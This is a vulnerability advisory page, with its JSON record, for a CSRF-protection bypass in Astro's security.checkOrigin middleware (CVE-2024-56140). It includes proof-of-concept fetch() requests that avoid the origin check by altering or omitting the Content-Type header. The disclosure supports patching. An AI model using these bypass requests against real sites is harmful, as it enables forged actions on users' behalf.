ghsa-c4pw-33h3-35xw
Vulnerability from github
Published
2024-12-18 15:02
Modified
2024-12-18 21:52
Severity ?
5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N
Summary
Atro CSRF Middleware Bypass (security.checkOrigin)
Details

Summary

A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks.

Details

When the security.checkOrigin configuration option is set to true, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)

For example, with the following Astro configuration:

```js // astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node';

export default defineConfig({ output: 'server', security: { checkOrigin: true }, adapter: node({ mode: 'standalone' }), }); ```

A request like the following would be blocked if made from a different origin:

js // fetch API or <form action="https://test.example.com/" method="POST"> fetch('https://test.example.com/', { method: 'POST', credentials: 'include', body: 'a=b', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, }); // => Cross-site POST form submissions are forbidden

However, a vulnerability exists that can bypass this security.

Pattern 1: Requests with a semicolon after the Content-Type

A semicolon-delimited parameter is allowed after the type in Content-Type.

Web browsers will treat a Content-Type such as application/x-www-form-urlencoded; abc as a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected.

js fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: 'test', headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' }, }); // => Server-side functions are executed (Response Code 200).

Pattern 2: Request without Content-Type header

The Content-Type header is not required for a request. The following examples are sent without a Content-Type header, resulting in CSRF.

```js // Pattern 2.1 Request without body fetch('http://test.example.com', { method: 'POST', credentials: 'include' });

// Pattern 2.2 Blob object without type fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: new Blob(['a=b'], {}), }); ```

Impact

Bypass CSRF protection implemented with CSRF middleware.

[!Note] Even with credentials: 'include', browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "astro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.16.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-56140"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-18T15:02:37Z",
    "nvd_published_at": "2024-12-18T21:15:08Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA bug in Astro\u2019s CSRF-protection middleware allows requests to bypass CSRF checks.\n\n### Details\n\nWhen the `security.checkOrigin` configuration option is set to `true`, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)\n\nFor example, with the following Astro configuration:\n\n```js\n// astro.config.mjs\nimport { defineConfig } from \u0027astro/config\u0027;\nimport node from \u0027@astrojs/node\u0027;\n\nexport default defineConfig({\n\toutput: \u0027server\u0027,\n\tsecurity: { checkOrigin: true },\n\tadapter: node({ mode: \u0027standalone\u0027 }),\n});\n```\n\nA request like the following would be blocked if made from a different origin:\n\n```js\n// fetch API or \u003cform action=\"https://test.example.com/\" method=\"POST\"\u003e\nfetch(\u0027https://test.example.com/\u0027, {\n\tmethod: \u0027POST\u0027,\n\tcredentials: \u0027include\u0027,\n\tbody: \u0027a=b\u0027,\n\theaders: { \u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027 },\n});\n// =\u003e Cross-site POST form submissions are forbidden\n```\n\nHowever, a vulnerability exists that can bypass this security.\n\n#### Pattern 1: Requests with a semicolon after the `Content-Type`\n\nA semicolon-delimited parameter is allowed after the type in `Content-Type`.\n\nWeb browsers will treat a `Content-Type` such as `application/x-www-form-urlencoded; abc` as a [simple request](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) and will not perform preflight validation. In this case, CSRF is not blocked as expected.\n\n```js\nfetch(\u0027https://test.example.com\u0027, {\n\tmethod: \u0027POST\u0027,\n\tcredentials: \u0027include\u0027,\n\tbody: \u0027test\u0027,\n\theaders: { \u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded; abc\u0027 },\n});\n// =\u003e Server-side functions are executed (Response Code 200).\n```\n\n#### Pattern 2: Request without `Content-Type` header\n\nThe `Content-Type` header is not required for a request. The following examples are sent without a `Content-Type` header, resulting in CSRF.\n\n```js\n// Pattern 2.1 Request without body\nfetch(\u0027http://test.example.com\u0027, { method: \u0027POST\u0027, credentials: \u0027include\u0027 });\n\n// Pattern 2.2 Blob object without type\nfetch(\u0027https://test.example.com\u0027, {\n\tmethod: \u0027POST\u0027,\n\tcredentials: \u0027include\u0027,\n\tbody: new Blob([\u0027a=b\u0027], {}),\n});\n```\n\n### Impact\n\nBypass CSRF protection implemented with CSRF middleware.\n\n\u003e [!Note]\n\u003e Even with `credentials: \u0027include\u0027`, browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.\n",
  "id": "GHSA-c4pw-33h3-35xw",
  "modified": "2024-12-18T21:52:48Z",
  "published": "2024-12-18T15:02:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-c4pw-33h3-35xw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56140"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/e7d14c374b9d45e27089994a4eb72186d05514de"
    },
    {
      "type": "WEB",
      "url": "https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Atro CSRF Middleware Bypass (security.checkOrigin)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.